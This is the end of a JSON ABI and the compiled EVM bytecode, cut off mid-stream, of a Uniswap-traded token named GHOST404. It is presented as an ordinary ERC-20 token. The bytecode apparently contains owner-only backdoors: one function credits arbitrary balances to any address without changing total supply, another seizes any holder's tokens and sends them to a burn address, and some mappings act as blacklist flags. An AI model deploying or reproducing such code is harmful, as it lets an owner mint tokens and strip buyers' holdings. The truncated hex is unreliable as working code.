,{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapTokensAtAmountByLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountByLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000146200072860201b60201c565b600a620000229190620008fc565b6113886200003191906200094d565b60035560c860065560c860075560646008556127106009557352aea4f80646a5a8131bcb19fa12bc98577bf194600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f16200072860201b60201c565b600a620000ff9190620008fc565b6101f46200010e91906200094d565b600c556001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff0219169083151502179055506001601760016101000a81548160ff0219169083151502179055503480156200016f57600080fd5b5060405162005e4f38038062005e4f833981810160405281019062000195919062000a02565b6000620001a76200073160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017f47484f53543430342e58595a0000000000000000000000000000000000000000815250600490816200028b919062000ca4565b506040518060400160405280600881526020017f47484f535434303400000000000000000000000000000000000000000000000081525060059081620002d2919062000ca4565b50600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ee919062000a02565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000478573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049e919062000a02565b6040518363ffffffff1660e01b8152600401620004bd92919062000d9c565b6020604051808303816000875af1158015620004dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000503919062000a02565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600e6000620005fe6200073960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000dc9565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007f057808604811115620007c857620007c762000762565b5b6001851615620007d85780820291505b8081029050620007e88562000791565b9450620007a8565b94509492505050565b6000826200080b5760019050620008de565b816200081b5760009050620008de565b81600181146200083457600281146200083f5762000875565b6001915050620008de565b60ff84111562000854576200085362000762565b5b8360020a9150848211156200086e576200086d62000762565b5b50620008de565b5060208310610133831016604e8410600b8410161715620008af5782820a905083811115620008a957620008a862000762565b5b620008de565b620008be84848460016200079e565b92509050818404811115620008d857620008d762000762565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200090982620008e5565b91506200091683620008ef565b9250620009457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007f9565b905092915050565b60006200095a82620008e5565b91506200096783620008e5565b92508282026200097781620008e5565b9150828204841483151762000991576200099062000762565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009ca826200099d565b9050919050565b620009dc81620009bd565b8114620009e857600080fd5b50565b600081519050620009fc81620009d1565b92915050565b60006020828403121562000a1b5762000a1a62000998565b5b600062000a2b84828501620009eb565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ab657607f821691505b60208210810362000acc5762000acb62000a6e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000af7565b62000b42868362000af7565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b8562000b7f62000b7984620008e5565b62000b5a565b620008e5565b9050919050565b6000819050919050565b62000ba18362000b64565b62000bb962000bb08262000b8c565b84845462000b04565b825550505050565b600090565b62000bd062000bc1565b62000bdd81848462000b96565b505050565b5b8181101562000c055762000bf960008262000bc6565b60018101905062000be3565b5050565b601f82111562000c545762000c1e8162000ad2565b62000c298462000ae7565b8101602085101562000c39578190505b62000c5162000c488562000ae7565b83018262000be2565b50505b505050565b600082821c905092915050565b600062000c796000198460080262000c59565b1980831691505092915050565b600062000c94838362000c66565b9150826002028217905092915050565b62000caf8262000a34565b67ffffffffffffffff81111562000ccb5762000cca62000a3f565b5b62000cd7825462000a9d565b62000ce482828562000c09565b600060209050601f83116001811462000d1c576000841562000d07578287015190505b62000d13858262000c86565b86555062000d83565b601f19841662000d2c8662000ad2565b60005b8281101562000d565784890151825560018201915060208501945060208101905062000d2f565b8683101562000d76578489015162000d72601f89168262000c66565b8355505b6001600288020188555050505b505050505050565b62000d9681620009bd565b82525050565b600060408201905062000db3600083018562000d8b565b62000dc2602083018462000d8b565b9392505050565b6150768062000dd96000396000f3fe6080604052600436106102b25760003560e01c80636ddd171311610175578063b70c2841116100dc578063dd62ed3e11610095578063e2f456051161006f578063e2f4560514610af3578063f2fde38b14610b1e578063f9fa48c314610b47578063fb8bd26f14610b72576102b9565b8063dd62ed3e14610a64578063de8f151714610aa1578063e01af92c14610aca576102b9565b8063b70c284114610968578063c10ea0a514610993578063c816841b146109bc578063cc1776d3146109e7578063ce1fd38014610a12578063d6c65f4614610a3b576102b9565b806395d89b411161012e57806395d89b4114610848578063a1c61f5014610873578063a457c2d71461089c578063a9059cbb146108d9578063ae96ffe614610916578063afa4f3b21461093f576102b9565b80636ddd17131461073657806370a082311461076157806375f0a8741461079e578063860aefcf146107c957806389fe8507146107f45780638da5cb5b1461081d576102b9565b806327722f6a116102195780635342acb4116101d25780635342acb4146106185780635881f3ef1461065557806359fa6d72146106925780635b65b9ab146106bb57806363244555146106e45780636d2f2ed61461070d576102b9565b806327722f6a146104f2578063313ce5671461051d57806331cd1acd1461054857806339509351146105735780633ecad271146105b05780634f7041a5146105ed576102b9565b806317a6954b1161026b57806317a6954b146103e257806318160ddd1461040b578063228cb7331461043657806323af46d91461046157806323b872dd1461048c57806326f0d8ce146104c9576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f578063107aa1891461037a5780631694505e146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190614117565b610b9b565b005b3480156102f357600080fd5b506102fc610c8b565b60405161030991906141d4565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061422c565b610d1d565b6040516103469190614287565b60405180910390f35b34801561035b57600080fd5b50610364610d40565b6040516103719190614287565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906142ce565b610d53565b6040516103ae919061431d565b60405180910390f35b3480156103c357600080fd5b506103cc610e0d565b6040516103d99190614397565b60405180910390f35b3480156103ee57600080fd5b50610409600480360381019061040491906142ce565b610e33565b005b34801561041757600080fd5b50610420610fb5565b60405161042d91906143c1565b60405180910390f35b34801561044257600080fd5b5061044b610fbf565b6040516104589190614287565b60405180910390f35b34801561046d57600080fd5b50610476610fd2565b6040516104839190614287565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906143dc565b610fe5565b6040516104c09190614287565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb919061442f565b611015565b005b3480156104fe57600080fd5b506105076110e6565b60405161051491906143c1565b60405180910390f35b34801561052957600080fd5b506105326110ec565b60405161053f9190614478565b60405180910390f35b34801561055457600080fd5b5061055d6110f5565b60405161056a91906143c1565b60405180910390f35b34801561057f57600080fd5b5061059a6004803603810190610595919061422c565b6110fb565b6040516105a79190614287565b60405180910390f35b3480156105bc57600080fd5b506105d760048036038101906105d29190614117565b611132565b6040516105e49190614287565b60405180910390f35b3480156105f957600080fd5b50610602611152565b60405161060f91906143c1565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190614117565b611158565b60405161064c9190614287565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190614117565b611178565b604051610689919061431d565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b4919061442f565b611587565b005b3480156106c757600080fd5b506106e260048036038101906106dd9190614493565b611639565b005b3480156106f057600080fd5b5061070b60048036038101906107069190614117565b611749565b005b34801561071957600080fd5b50610734600480360381019061072f9190614117565b611839565b005b34801561074257600080fd5b5061074b611929565b6040516107589190614287565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190614117565b61193c565b60405161079591906143c1565b60405180910390f35b3480156107aa57600080fd5b506107b3611985565b6040516107c0919061431d565b60405180910390f35b3480156107d557600080fd5b506107de6119ab565b6040516107eb91906143c1565b60405180910390f35b34801561080057600080fd5b5061081b600480360381019061081691906144e6565b6119b1565b005b34801561082957600080fd5b50610832611a50565b60405161083f919061431d565b60405180910390f35b34801561085457600080fd5b5061085d611a79565b60405161086a91906141d4565b60405180910390f35b34801561087f57600080fd5b5061089a6004803603810190610895919061442f565b611b0b565b005b3480156108a857600080fd5b506108c360048036038101906108be919061422c565b611bbd565b6040516108d09190614287565b60405180910390f35b3480156108e557600080fd5b5061090060048036038101906108fb919061422c565b611c34565b60405161090d9190614287565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906144e6565b611c58565b005b34801561094b57600080fd5b50610966600480360381019061096191906144e6565b611cf7565b005b34801561097457600080fd5b5061097d611de7565b60405161098a9190614287565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190614117565b611dfa565b005b3480156109c857600080fd5b506109d1611f9c565b6040516109de919061431d565b60405180910390f35b3480156109f357600080fd5b506109fc611fc2565b604051610a0991906143c1565b60405180910390f35b348015610a1e57600080fd5b50610a396004803603810190610a349190614117565b611fc8565b005b348015610a4757600080fd5b50610a626004803603810190610a5d919061442f565b6120b8565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190614513565b61216a565b604051610a9891906143c1565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac3919061422c565b6121f1565b005b348015610ad657600080fd5b50610af16004803603810190610aec919061442f565b612318565b005b348015610aff57600080fd5b50610b086123e9565b604051610b1591906143c1565b60405180910390f35b348015610b2a57600080fd5b50610b456004803603810190610b409190614117565b6123ef565b005b348015610b5357600080fd5b50610b5c6125b0565b604051610b6991906143c1565b60405180910390f35b348015610b7e57600080fd5b50610b996004803603810190610b94919061422c565b6125b6565b005b610ba36129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061459f565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c9a906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc6906145ee565b8015610d135780601f10610ce857610100808354040283529160200191610d13565b820191906000526020600020905b815481529060010190602001808311610cf657829003601f168201915b5050505050905090565b600080610d286129ff565b9050610d35818585612a07565b600191505092915050565b601760009054906101000a900460ff1681565b6000610d5d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de19061459f565b60405180910390fd5b81601760026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e3b6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf9061459f565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f519061466b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601460009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610ff06129ff565b9050610ffd858285612bd0565b611008858585612c5c565b5060019150509392505050565b61101d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a19061459f565b60405180910390fd5b801515600d60029054906101000a900460ff161515036110c957600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60155481565b60006012905090565b60085481565b6000806111066129ff565b9050611127818585611118858961216a565b61112291906146ba565b612a07565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111826129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112069061459f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190614703565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190614703565b6040518363ffffffff1660e01b815260040161132b929190614730565b602060405180830381865afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190614703565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ff578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114119190614703565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190614703565b6040518363ffffffff1660e01b81526004016114b9929190614730565b6020604051808303816000875af11580156114d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fc9190614703565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b61158f6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116139061459f565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b6116416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c59061459f565b60405180910390fd5b61271083111580156116e257506127108211155b80156116f057506127108111155b61172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906147a5565b60405180910390fd5b826006819055508160078190555080600881905550505050565b6117516129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061459f565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6118416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c59061459f565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119b96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061459f565b60405180910390fd5b8060158190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611a88906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054611ab4906145ee565b8015611b015780601f10611ad657610100808354040283529160200191611b01565b820191906000526020600020905b815481529060010190602001808311611ae457829003601f168201915b5050505050905090565b611b136129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b979061459f565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b600080611bc86129ff565b90506000611bd6828661216a565b905083811015611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290614837565b60405180910390fd5b611c288286868403612a07565b60019250505092915050565b600080611c3f6129ff565b9050611c4c818585612c5c565b50600191505092915050565b611c606129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49061459f565b60405180910390fd5b8060168190555050565b611cff6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d839061459f565b60405180910390fd5b60008111611d9957600080fd5b80600c5403611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd4906148a3565b60405180910390fd5b80600c8190555050565b601760029054906101000a900460ff1681565b611e026129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e869061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ec857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061490f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b611fd06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120549061459f565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6120c06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449061459f565b60405180910390fd5b80601760016101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6121f96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227d9061459f565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d191906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123206129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a49061459f565b60405180910390fd5b801515600d60019054906101000a900460ff161515036123cc57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b6123f76129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247b9061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea906149a1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6125be6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126429061459f565b60405180910390fd5b612653611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790614a0d565b60405180910390fd5b670de0b6b3a7640000816126d49190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612874576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280a91906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fb565b670de0b6b3a7640000816128889190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d29190614a6f565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000816129299190614a2d565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299591906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6d90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adc90614ba7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612bc391906143c1565b60405180910390a3505050565b6000612bdc848461216a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612c565781811015612c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3f90614c13565b60405180910390fd5b612c558484848403612a07565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc390614ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614d37565b60405180910390fd5b60008203612d5657612d4f848460006130c7565b90506130c0565b601760019054906101000a900460ff16156130a657600d60009054906101000a900460ff1615612d9257612d8b8484846130c7565b90506130c0565b6000612d9d3061193c565b90506000600c548210159050808015612dc35750600d60009054906101000a900460ff16155b8015612e1c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffff